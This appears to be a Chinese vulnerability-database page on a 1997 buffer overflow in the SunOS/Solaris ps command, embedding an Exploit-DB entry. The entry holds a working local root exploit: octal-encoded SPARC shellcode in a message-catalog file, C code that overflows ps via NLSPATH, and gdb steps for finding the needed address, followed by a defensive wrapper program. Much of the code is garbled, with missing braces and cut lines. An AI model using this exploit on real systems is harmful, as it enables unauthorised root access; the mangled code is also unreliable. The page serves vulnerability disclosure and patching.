发布时间 :1997-08-01 00:00:00
修订时间 :2008-09-09 08:34:15

[原文]Buffer overflow in SunOS/Solaris ps command.

[CNNVD]SunOS/Solaris ps缓冲区溢出漏洞(CNNVD-199708-002)

        SunOS/Solaris ps命令存在缓冲区溢出漏洞。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  SUN  00149

- 漏洞信息

SunOS/Solaris ps缓冲区溢出漏洞
高危 缓冲区溢出
1997-08-01 00:00:00 2005-05-02 00:00:00
        SunOS/Solaris ps命令存在缓冲区溢出漏洞。

- 公告与补丁


- 漏洞信息 (19168)

SGI IRIX <= 6.5.4,Solaris <= 2.5.1 ps(1) Buffer Overflow Vulnerability (EDBID:19168)
unix local
1997-04-28 Verified
0 Joe Zbiciak
N/A [点击下载]

The ps command prints information about active processes on a system. Due to insufficient bounds checking on arguments supplied to ps, it is possible to overwrite the internal data space of the ps program. As ps is setuid root, this vulnerability may be exploited by users on a system to gain root access. 

                    # Exploit for Solaris 2.5.1 /usr/bin/ps
                    # J. Zbiciak, 5/18/97

                    # change as appropriate

                    # Build the "replacement message" :-)
                    cat > ps_expl.po << E_O_F
                    domain "SUNW_OST_OSCMD"
                    msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
                    msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"

                    msgfmt -o /tmp/foo ps_expl.po

                    # Build the C portion of the exploit
                    cat > ps_expl.c << E_O_F

                    /* Exploit for Solaris 2.5.1 /usr/bin/ps */
                    /* J. Zbiciak,  5/18/97                  */
                    #include <stdio.h>
                    #include <stdlib.h>
                    #include <sys/types.h>
                    #include <unistd.h>

                    #define BUF_LENGTH      (632)
                    #define EXTRA           (256)

                    int main(int argc, char *argv[])
                            char buf[BUF_LENGTH + EXTRA];
                                          /* ps will grok this file for the exploit code */
                            char *envp[]={"NLSPATH=/tmp/foo",0};
                            u_long *long_p;
                            u_char *char_p;
                                            /* This will vary depending on your libc */
                            u_long proc_link=0xef70ef70;
                            int i;

                            long_p = (u_long *) buf;

                            /* This first loop smashes the target buffer for optargs */
                            for (i = 0; i < (96) / sizeof(u_long); i++)
                                    *long_p++ = 0x10101010;

                            /* At offset 96 is the environ ptr -- be careful not to mess it up */

                            /* After that is the _ctype table.  Filling with 0x10101010 marks the
                               entire character set as being "uppercase printable". */
                            for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
                                    *long_p++ = 0x10101010;

                            /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
                            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
                            *long_p++ = proc_link;    /* pointer to chars in buffer */
                            *long_p++ = proc_link;    /* pointer to buffer */
                            *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
                            /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */

                            /* build up _iob[1] */
                            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
                            *long_p++ = proc_link;    /* pointer to chars in buffer */
                            *long_p++ = proc_link;    /* pointer to buffer */
                            *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */

                            /* build up _iob[2] */
                            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
                            *long_p++ = proc_link;    /* pointer to chars in buffer */
                            *long_p++ = proc_link;    /* pointer to buffer */
                            *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */

                            *long_p =0;

                            /* The following includes the invalid argument '-z' to force the
                               usage msg to appear after the arguments have been parsed. */
                            execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
                            perror("execle failed");

                            return 0;

                    # Compile it
                    $CC -o ps_expl ps_expl.c

                    # And off we go!
                    exec ./ps_expl


                    A number of you have written saying that the exploit doesn't work.
                    The biggest problem is that the exploit relies on a very specific
                    address (which I put in the proc_link variable) in order to work.

                    (Incidentally, as some have noted, there was a stray '*' in one of
                    the versions I sent out which causes some warnings to be generated.
                    Change "u_long *proc_link=..." to "u_long proc_link=..." if this
                    bothers you.  The warnings are benign in this case.)

                    The following shortcut seems to work for finding the value for
                    the bothersome proc_link variable.  You don't need to be a gdb whiz
                    to do this:

                    $ gdb ./ps
                    GDB is free software and you are welcome to distribute copies of it
                     under certain conditions; type "show copying" to see the conditions.
                    There is absolutely no warranty for GDB; type "show warranty" for details.
                    GDB 4.16 (sparc-sun-solaris2.4),
                    Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
                    (gdb) break exit
                    Breakpoint 1 at 0x25244
                    (gdb) run
                    Starting program: /home3/student/im14u2c/c/./ps
                    (no debugging symbols found)...(no debugging symbols found)...
                    (no debugging symbols found)...Breakpoint 1 at 0xef7545c0
                    (no debugging symbols found)...   PID TTY      TIME CMD
                      9840 pts/27   0:01 ps
                     19499 pts/27   0:10 bash
                      9830 pts/27   0:02 gdb

                    Breakpoint 1, 0xef7545c0 in exit ()
                    (gdb) disassemble exit
                    Dump of assembler code for function exit:
                    0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
                    0xef7545c4 <exit+4>:    nop
                    0xef7545c8 <exit+8>:    mov  1, %g1
                    0xef7545cc <exit+12>:   ta  8
                    End of assembler dump.

                    The magic number is in the "call" above: 0xef771408.

                    For the extremely lazy, the following shell script worked for me to
                    extract this value from the noise.  Your Mileage May Vary.


                    cp /usr/bin/ps ./ps
                    FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
                    break exit
                    disassemble exit

                    rm -f ./ps

                    set $FOO foo

                    [ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

                    echo "  u_long proc_link=$2;"
                    --- EOF

                    Note, this sets the proc_link variable to the routine "exit" calls, so
                    you will probably get garbage on your screen when the exploit runs.
                    Solution: To it from an xterm or something which lets you do a "reset"
                    to nullify the action of the control characters in the exploit.

                    Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
                    hole, except the vulnerability is on the -t argument, and the string
                    grokked by gettext is different, so the "ps_expl.po" file needs to be
                    changed slightly.  Fortunately, "environ" and "proc_link" are pretty
                    much the same.  (Use the "extract" script above on /usr/ucb/ps, etc.)


                    Here's a generic wrapper I've written that you can use as an interim
                    solution for wrapping /usr/bin/ps and /usr/ucb/ps.  (/usr/ucb/ps looks
                    to be similarly vulnerable.)  The code is fairly well documented IMHO,
                    and should be adaptable enough to wrap just about any program.

                    This wrapper also filters environment variables, so if you have binaries
                    which blindly trust certain variables (NLSPATH is a common one in Solaris),
                    you can filter out those variables.  (You could also fairly trivially
                    add in default values for some variables if you needed to, such as for

                    Finally, this wrapper will log exploit attempts to syslog if you configure
                    that option.  The log facility, log priority, and log ident are all
                    configurable with #defines.  I've currently set the code to LOG_ALERT
                    on LOG_LOCAL0, with ident "wrapper".  To prevent problems with syslog,
                    the wrapper even limits the number of characters it writes per log
                    message.  (Note:  This limit is on the number of characters per message,
                    not including the identifier, PID, etc.)

                    I make no guarantee or warranty about this code; it looks good/works fine
                    for me.  :-)   If you have problems configuring this wrapper for a
                    particular program, first read all the comments in the source, and then
                    email me if you still can't figure it out.  :-)

                    Incidentally, it's safe to leave ps lying around without the suid-bit;
                    it'll happily list the calling user's own processes, and those processes
                    alone.  That's one of the wonderful advantages of a /proc based ps.  :-)

                    --- wrapper.c

                    /* Generic wrapper to prevent exploitation of suid/sgid programs */
                    /* J. Zbiciak, 5/19/97                                           */

                    #include <stdio.h>
                    #include <syslog.h>
                    #include <strings.h>
                    #include <unistd.h>
                    #include <errno.h>

                    static char rcsid[]="$Id: wrapper.c,v 1.1 1997/05/19 22:48:03 jzbiciak Exp $";

                    /* To install, move wrapped executable to a different file name.  (I like */
                    /* just appending an underscore '_' to the filename.)  Then, remove the   */
                    /* offending permission bit.  Finally, place this program in the wrapped  */
                    /* program's place with the appropriate permissions.   Enjoy!             */

                    /* Tunable values per program being wrapped                               */
                    #define WRAPPED "/usr/bin/ps"   /* Set to full path of wrapped executable */
                    #define REALBIN WRAPPED"_"      /* Usually can be left untouched.         */
                    #define MAX_ARG (32)            /* Maximum argv parameter length.         */
                    #define SYSLOG 1                /* Enable/disable SYSLOGging              */
                    #define FACILITY LOG_LOCAL0     /* Facility to syslog() to                */
                    #define PRIORITY LOG_ALERT      /* Priority level for syslog()            */
                    #define LOGIDENT "wrapper"      /* How to identify myself to syslog()     */

                    typedef struct tEnvInfo
                            char * env;             /* Environment var name with trailing '=' */
                            int name_len;           /* Length of name (including '=')         */
                            int max_len;            /* Max length of value assignable to var  */
                    } TEnvInfo;

                    /* aside:  trailing '=' is necessary to prevent problems with variables   */
                    /*         whose names prefix each other.                                 */

                    TEnvInfo allowed_env [] =       /* Environ. vars we allow program to see  */
                            { "COLUMNS=",           8,      4  },
                            { "LC_CTYPE=",          9,      64 },
                            { "LC_MESSAGES=",       11,     64 },
                            { "LC_TIME=",           8,      64 },
                            { "LOGNAME=",           8,      16 },
                            { "TERM=",              5,      16 },
                            { "USER=",              5,      16 },
                    #define NUM_ALLOWED_ENV (sizeof(allowed_env)/sizeof(TEnvInfo))

                    /* Internal use only -- shouldn't need to adjust, usually                */
                    #define MSG_LEN (192)          /* Maximum output message length.         */
                    #define MAX_LOG (64)           /* Maximum length per call to syslog()    */

                    #ifndef SYSLOG
                    #error Define "SYSLOG" to be either 1 or 0 explicitly

                    /* No user serviceable parts inside (End of configurable options)        */

                    /* Log a message to syslog, and abort */
                    void log(char * s)
                    #if SYSLOG
                        char buf[MAX_LOG];
                        int l;


                        /* Open up syslog; use "Local0" facility */
                        openlog(LOGIDENT "[" WRAPPED "]",LOG_PID,FACILITY);

                        do {
                            syslog (PRIORITY,buf);
                            if (l>0) s+=MAX_LOG-1;
                        } while (l>0);



                    /* The main event */
                    int main(int argc, char * argv[], char *envp[])
                        int i,j,k;
                        char buf[MSG_LEN];

                        /* Check all of argv.  Log and exit if any args have length > MAX_ARG */
                        for (i=0;i<argc && argv[i]!=0;i++)
                            if (strlen(argv[i])>MAX_ARG)
                                printf("Error: Aborting!\n"
                                       " Excessive commandline argument length: '%s'\n", argv[i]);
                                /* Safe since uid/gid etc. are max 5 chars apiece */
                                    "Attempted overrun (argv): "
                                    "uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
                                exit(1);  /* safety net */

                        /* Check all of envp.  Throw out any environment variables which
                           aren't in "allowed_env[]".  If any variables permitted by
                           "allowed_env[]" are too long, log and exit. */

                        for (i=j=0; envp[i]!=0; i++)
                            for (k=0;k<NUM_ALLOWED_ENV;k++)
                                if (strncmp(envp[i],
                            if (k!=NUM_ALLOWED_ENV)
                                if (strlen(envp[i]) >
                                    printf("Error: Aborting!\n"
                                            " Excessive environment variable length: '%s'\n",
                                    /* Safe because we have control over allowed_env[] */
                                        "Attempted overrun (env var '%s'): "
                                        "uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
                                    exit(1);  /* safety net */
                            if (j>NUM_ALLOWED_ENV)
                                log("Internal error to wrapper -- too many allowed env vars");
                                exit(1);  /* safety net */

                        /* If we make it this far, we're good to go. */
                        execve(REALBIN, argv, envp);

                        /* Safe, because errno number is very few chars */
                        sprintf(buf, "execve failed!  errno=%.5d\n",errno);
                        perror("execve() failed");

                        exit(1); /* safety net */


                    --- EOF		

- 漏洞信息

Multiple Vendor ps Local Overlflow
Local Access Required Input Manipulation
Loss of Integrity Workaround, Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1997-08-01 Unknow
Unknow Unknow

- 解决方案

Mulitple vendors have released a patch to address this vulnerability. Additionally, it is possible to temporarily work around the flaw by implementing the following workaround: remove setuid and non-root execute permissions.

- 相关参考

- 漏洞作者

Unknown or Incomplete